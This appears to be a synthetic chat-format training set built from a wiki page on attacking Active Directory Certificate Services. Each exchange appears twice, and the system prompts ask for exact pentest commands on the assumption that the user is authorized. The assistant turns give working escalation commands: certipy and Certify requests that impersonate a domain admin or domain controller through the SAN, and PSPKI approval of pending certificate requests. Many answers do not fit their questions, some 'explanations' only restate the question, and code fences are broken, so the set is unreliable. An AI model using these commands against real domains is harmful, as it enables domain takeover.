[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the The syntax for retrieve an issued certificate?

[Assistant]
The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both `ManageCA` and `ManageCertificates` are already obtained. There is no known method to obtain the `ManageCertificates` right.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to approve a certificate request ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the The syntax for retrieve an issued certificate?

Response:
The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both `ManageCA` and `ManageCertificates` are already obtained. There is no known method to obtain the `ManageCertificates` right.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to approve a certificate request ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Retrieve an issued certificate

[Assistant]
The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both `ManageCA` and `ManageCertificates` are already obtained. There is no known method to obtain the `ManageCertificates` right.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to approve a certificate request ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Retrieve an issued certificate

Response:
The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both `ManageCA` and `ManageCertificates` are already obtained. There is no known method to obtain the `ManageCertificates` right.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to approve a certificate request ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.`?

[Assistant] This command is used for retrieve an issued certificate. Retrieve an issued certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The certificate can then be used with [Pass-The-Certificate](../kerberos/pass-the-certificate.md) to obtain a TGT and authenticate.`?

Response: This command is used for retrieve an issued certificate. Retrieve an issued certificate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 1. Request a certificate that requires manager approval with Certify

[Assistant]
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 1. Request a certificate that requires manager approval with Certify

Response:
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 1. Request a certificate that requires manager approval with Certify?

[Assistant]
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 1. Request a certificate that requires manager approval with Certify?

Response:
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 3. Approve the pending request with PSPKI

[Assistant] PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 3. Approve the pending request with PSPKI

Response: PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 3. Approve the pending request with PSPKI

[Assistant] PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 3. Approve the pending request with PSPKI

Response: PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 4. Download the certificate with Certify

[Assistant]
Certify.exe download /ca:CA.domain.local\CA /id:1
```

:::

> [!WARNING]
>
> If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
>
> Currently, the best resources for manually abusing this are
>
> * the whitepaper (PDF)
> * Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more! (by Olivier Lyak)
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)
> * AD CS Abuse (by snovvcrash)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 4. Download the certificate with Certify

Response:
Certify.exe download /ca:CA.domain.local\CA /id:1
```

:::

> [!WARNING]
>
> If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
>
> Currently, the best resources for manually abusing this are
>
> * the whitepaper (PDF)
> * Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more! (by Olivier Lyak)
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)
> * AD CS Abuse (by snovvcrash)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 4. Download the certificate with Certify

[Assistant]
Certify.exe download /ca:CA.domain.local\CA /id:1
```

:::

> [!WARNING]
>
> If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
>
> Currently, the best resources for manually abusing this are
>
> * the whitepaper (PDF)
> * Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more! (by Olivier Lyak)
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)
> * AD CS Abuse (by snovvcrash)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 4. Download the certificate with Certify

Response:
Certify.exe download /ca:CA.domain.local\CA /id:1
```

:::

> [!WARNING]
>
> If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
>
> Currently, the best resources for manually abusing this are
>
> * the whitepaper (PDF)
> * Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more! (by Olivier Lyak)
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)
> * AD CS Abuse (by snovvcrash)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Access controls - Other objects (ESC5)

[Assistant]
This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.

> [!TIP]
> Read the DACL abuse article for more insight.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Access controls - Other objects (ESC5)

Response:
This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.

> [!TIP]
> Read the DACL abuse article for more insight.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Access controls - Other objects (ESC5)

[Assistant]
This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.

> [!TIP]
> Read the DACL abuse article for more insight.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Access controls - Other objects (ESC5)

Response:
This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.

> [!TIP]
> Read the DACL abuse article for more insight.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Certificate authority - Certificate Authority misconfiguration

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the EDITF_ATTRIBUTESUBJECTALTNAME2 flag). The escalation vector was dubbed ESC6.

When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.

> [!SUCCESS]
> The default User template checks all the template requirements stated above.
>
> If the CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.

> [!CAUTION]
> May 2022 security updates broke the ESC6 attack.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Certificate authority - Certificate Authority misconfiguration

Response:
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the EDITF_ATTRIBUTESUBJECTALTNAME2 flag). The escalation vector was dubbed ESC6.

When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.

> [!SUCCESS]
> The default User template checks all the template requirements stated above.
>
> If the CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.

> [!CAUTION]
> May 2022 security updates broke the ESC6 attack.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Certificate authority - Certificate Authority misconfiguration

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the EDITF_ATTRIBUTESUBJECTALTNAME2 flag). The escalation vector was dubbed ESC6.

When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.

> [!SUCCESS]
> The default User template checks all the template requirements stated above.
>
> If the CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.

> [!CAUTION]
> May 2022 security updates broke the ESC6 attack.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Certificate authority - Certificate Authority misconfiguration

Response:
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the EDITF_ATTRIBUTESUBJECTALTNAME2 flag). The escalation vector was dubbed ESC6.

When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.

> [!SUCCESS]
> The default User template checks all the template requirements stated above.
>
> If the CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.

> [!CAUTION]
> May 2022 security updates broke the ESC6 attack.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Certificate authority - YubiHSM Key Storage Provider work?

[Assistant]
As described by Hans-Joachim Knobloch in his article ESC12 – Shell access to ADCS CA with YubiHSM, administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine.

> In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext.
>
> Furthermore, the YubiHSM Key Storage Provider does not check under which user account processes calling it via CNG are running.
>
> (Hans-Joachim Knobloch)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Certificate authority - YubiHSM Key Storage Provider work?

Response:
As described by Hans-Joachim Knobloch in his article ESC12 – Shell access to ADCS CA with YubiHSM, administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine.

> In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext.
>
> Furthermore, the YubiHSM Key Storage Provider does not check under which user account processes calling it via CNG are running.
>
> (Hans-Joachim Knobloch)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Certificate authority - YubiHSM Key Storage Provider?

[Assistant]
As described by Hans-Joachim Knobloch in his article ESC12 – Shell access to ADCS CA with YubiHSM, administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine.

> In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext.
>
> Furthermore, the YubiHSM Key Storage Provider does not check under which user account processes calling it via CNG are running.
>
> (Hans-Joachim Knobloch)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Certificate authority - YubiHSM Key Storage Provider?

Response:
As described by Hans-Joachim Knobloch in his article ESC12 – Shell access to ADCS CA with YubiHSM, administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine.

> In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext.
>
> Furthermore, the YubiHSM Key Storage Provider does not check under which user account processes calling it via CNG are running.
>
> (Hans-Joachim Knobloch)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2 in the context of penetration testing

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

``bash
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"
`

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2 in the context of penetration testing

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

``bash
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"
`

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

``bash
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"
`

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

``bash
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"
`

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use certipy for certificate authority - (esc6) editf_attributesubjectaltname2?

[Assistant] certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use certipy for certificate authority - (esc6) editf_attributesubjectaltname2?

Response: certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2?

[Assistant] certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Certificate authority - (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2?

Response: certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"`?

[Assistant] This command is used for certificate authority - (esc6) editf_attributesubjectaltname2. (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"`?

Response: This command is used for certificate authority - (esc6) editf_attributesubjectaltname2. (ESC6) EDITF_ATTRIBUTESUBJECTALTNAME2


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about To specify a user account in the SAN?

[Assistant] certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about To specify a user account in the SAN?

Response: certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute To specify a user account in the SAN?

[Assistant] certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute To specify a user account in the SAN?

Response: certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain To specify a computer account in the SAN

[Assistant]
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

`powershell
Certify.exe cas
`

If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

`powershell
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth
`

Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

`powershell
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain To specify a computer account in the SAN

Response:
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

`powershell
Certify.exe cas
`

If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

`powershell
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth
`

Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

`powershell
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out To specify a computer account in the SAN during a pentest?

[Assistant]
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

`powershell
Certify.exe cas
`

If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

`powershell
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth
`

Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

`powershell
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out To specify a computer account in the SAN during a pentest?

Response:
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

`powershell
Certify.exe cas
`

If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

`powershell
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth
`

Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

`powershell
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
``

